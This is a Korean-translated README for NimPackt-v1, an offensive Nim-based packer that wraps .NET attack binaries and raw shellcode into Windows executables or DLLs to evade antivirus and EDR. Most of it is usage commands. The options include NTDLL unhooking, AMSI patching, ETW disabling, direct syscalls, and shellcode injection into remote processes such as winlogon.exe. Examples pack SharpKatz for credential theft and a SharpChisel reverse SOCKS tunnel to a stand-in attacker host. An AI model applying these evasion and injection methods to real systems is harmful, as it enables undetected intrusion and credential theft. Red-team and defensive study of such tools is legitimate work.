
opsec 및 이익을 위한 Nim 기반 어셈블리 패커 및 셸코드 로더

By Cas van Cooten (@chvancooten)
특별히 감사드립니다: Marcello Salvati (@byt3bl33der) 및 Fabian Mosch (@S3cur3Th1sSh1t)
업데이트: NimPackt-v1은 제가 지금까지 작성한 코드 중 최악에 속합니다 (Nim을 배우기 시작한 초창기였습니다). 그래서 'NimPackt-NG'(현재는 비공개)라는 완전한 재작성을 시작했습니다. 재작성과 함께, 예전 브랜치("NimPackt-v1")를 오픈소스로 공개하기로 결정했습니다. 따라서 이 브랜치는 더 이상 유지보수되지 않으며, 어떠한 보증이나 지원도 제공되지 않습니다. 물론 PR은 언제나 환영입니다 :).
NimPackt는 Windows를 대상으로 하는 .NET (C#) 실행 파일 및 셸코드를 위한 Nim 기반 패커입니다. 페이로드를 자동으로 Nim 바이너리로 감싸서 Native C로 컴파일하므로 탐지 및 리버스 엔지니어링이 더 어려워집니다. 두 가지 주요 실행 방법이 있습니다:
Execute-Assembly는 .NET 실행 파일을 다시 패킹하여 실행하며, 선택적으로 API 후킹 해제, AMSI 패치, ETW 비활성화 등의 회피 조치를 적용합니다.Shinject는 원시 위치 독립 셸코드가 포함된 .bin 파일을 가져와 로컬 또는 원격 프로세스에서 실행하며, 선택적으로 직접 시스템 콜을 사용하여 셸코드를 트리거하거나 API 후킹을 패치하여 EDR을 회피합니다.현재 NimPackt는 다음과 같은 기능을 제공합니다.
NTDLL.dll을 새로고침함으로써 생성된 스레드의 사용자 모드 API 후킹 해제exe 또는 dll로 컴파일공격 도구를 위한 C# 기반 바이너리의 훌륭한 소스는 여기에서 찾을 수 있습니다. C# 바이너리를 직접 컴파일하는 것을 적극 권장합니다. 포함된 바이너리가 암호화되어 있더라도, 민감한 바이너리(예: Mimikatz)는 난독화하여 탐지 위험을 낮추는 것이 좋습니다.
시스템 콜로 바이너리 컴파일에 문제가 있으면 GCC를 버전 8.1.0으로 다운그레이드해 보세요 (특히 Windows에서). 생성된 페이로드는 항상 테스트하세요!
Linux에서는 필요한 패키지를 설치하고 Nimble 패키지 설치 프로그램을 사용하여 필요한 패키지와 Python 라이브러리를 설치하면 됩니다.
sudo apt install -y python3 mingw-w64 nim
pip3 install pycryptodome argparse
nimble install winim nimcrypto
Windows에서는 여기에서 Nim 설치 프로그램을 실행하세요. 제공된 finish.exe 유틸리티를 사용하여 mingw를 설치하고 경로 값을 올바르게 설정하세요. Python3가 설치되어 있지 않다면 설치한 후, 다음과 같이 필요한 패키지를 설치하세요.
nimble install winim nimcrypto
pip3 install pycryptodome argparse
Docker 이미지 chvancooten/nimbuild를 사용하여 NimPackt-v1 바이너리를 컴파일할 수 있습니다. Docker를 사용하면 모든 필수 종속성이 이 컨테이너에 미리 설치되어 있으므로 종속성 문제를 피할 수 있습니다.
사용하려면 OS에 맞는 Docker를 설치하고 입력 셸코드가 현재 폴더에 있는지 확인하세요. 그런 다음 다음과 같이 컨테이너에서 컴파일을 시작합니다.
docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPackt.py -e shinject -i sc.bin
CobaltStrike 플러그인을 설치하려면 메뉴 막대에서 Cobalt Strike -> Script Manager를 선택하고 Load를 선택하세요. .cna 파일을 원래 위치에서 로드해야 합니다. 그렇지 않으면 NimPackt 스크립트 파일을 찾을 수 없습니다!

usage: NimPackt.py [-h] -e EXECUTIONMODE -i INPUTFILE [-a ARGUMENTS] [-na] [-ne] [-r]
[-t INJECTTARGET] [-E] [-o OUTPUTFILE] [-nu] [-ns] [-f FILETYPE] [-s] [-32] [-S]
[-d] [-v] [-V]
필수 인자:
-e EXECUTIONMODE, --executionmode EXECUTIONMODE
패커의 실행 모드. "execute-assembly" 또는 "shinject" 지원
-i INPUTFILE, --inputfile INPUTFILE
래핑할 C# .NET 바이너리 실행 파일(.exe) 또는 셸코드(.bin)
execute-assembly 인자:
-a ARGUMENTS, --arguments ARGUMENTS
래핑된 바이너리에 "내장"할 인자, 또는 런타임 인자를 허용하려면 "PASSTHRU"(기본값)
-na, --nopatchamsi AMSI(Anti-Malware Scan Interface)를 패치(비활성화)하지 않음
-ne, --nodisableetw ETW(Event Tracing for Windows)를 비활성화하지 않음
shinject 인자:
-r, --remote 셸코드를 원격 프로세스에 주입 (기본값 false)
-t INJECTTARGET, --target INJECTTARGET
원격 프로세스 주입을 대상으로 하는 원격 스레드
-E, --existing 새로 생성된 프로세스 대신 기존 프로세스에 원격 주입 (기본값 false, -r을 암시) (경고: 변동성이 큼)
기타 인자:
-o OUTPUTFILE, --outfile OUTPUTFILE
출력 파일의 파일 이름 (예: "LegitBinary"). 확장자나 경로 없이 지정하세요. 이 속성은 출력 바이너리에 원래 파일 이름으로 저장됩니다
-nu, --nounhook 새로운 NTDLL.dll을 로드하여 대상 프로세스의 사용자 모드 API 후크를 해제하지 않음
-ns, --nosyscalls EDR을 회피하기 위해 높은 수준의 API 대신 직접 시스템 콜(Windows 7-10 세대)을 사용하지 않음
-f FILETYPE, --filetype FILETYPE
컴파일할 파일 유형 ("exe" 또는 "dll", 기본값: "exe")
-s, --sleep 소수를 계산하여 약 30초 동안 절전 모드
-32, --32bit 32비트 모드로 컴파일 (테스트되지 않음)
-S, --showConsole 실행 시 앱 출력과 함께 콘솔 창 표시
-d, --debug 디버그 모드 활성화 (출력 폴더에 .nim 소스 파일 유지)
-v, --verbose 런타임 시 래핑된 바이너리의 디버그 메시지 출력
-V, --version 프로그램 버전 번호를 표시하고 종료
예제:
# SharpKatz를 패킹하여 런타임에 인자를 받도록 하고, NTDLL 후크, AMSI, ETW를 패치하면서 런타임에 보이는 콘솔에 자세한 메시지 출력
python3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v
# 내장된 인자로 Seatbelt를 DLL 파일로 패킹 (참고: DLL의 경우 stdout을 사용할 수 없으므로 출력 파일에 기록)
python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a "-group=all -outputfile=c:\users\public\downloads\sb.txt"
# 기본 제공 ChiselChief 연결 문자열로 SharpChisel을 패킹하고, 후크 해제, AMSI 패치, ETW 비활성화를 하지 않으며, 런타임에 애플리케이션 창 숨김
python3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a 'client --keepalive 25s --max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks'
# 원시 셸코드를 DLL 파일로 패킹하여 직접 시스템 콜을 통해 로컬 스레드에서 실행하고 NTDLL도 후크 해제
# 'msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin'로 생성된 셸코드
python3 NimPackt.py -i calc.bin -e shinject -f dll
# 원시 셸코드를 패킹하여 새로 생성된 Calculator 스레드에서 보이지 않는 창으로 실행
python3 NimPackt.py -i calc.bin -e shinject -t "calc.exe"
# 원시 셸코드를 패킹하여 기존 Winlogon 프로세스(이름이 'winlogon.exe'인 첫 번째 PID)에서 실행하며, 직접 시스템 콜이나 NTDLL 후크 해제를 사용하지 않음
python3 NimPackt.py -i calc.bin -e shinject -r -E -t "winlogon.exe" -nu -ns
바이너리는 설치 디렉토리의 output 하위 폴더에 저장됩니다. 생성된 dll 파일은 다음과 같이 실행할 수 있습니다 (진입점은 Nim 템플릿에서 변경 가능):
rundll32 exampleShinjectNimPackt.dll,IconSrv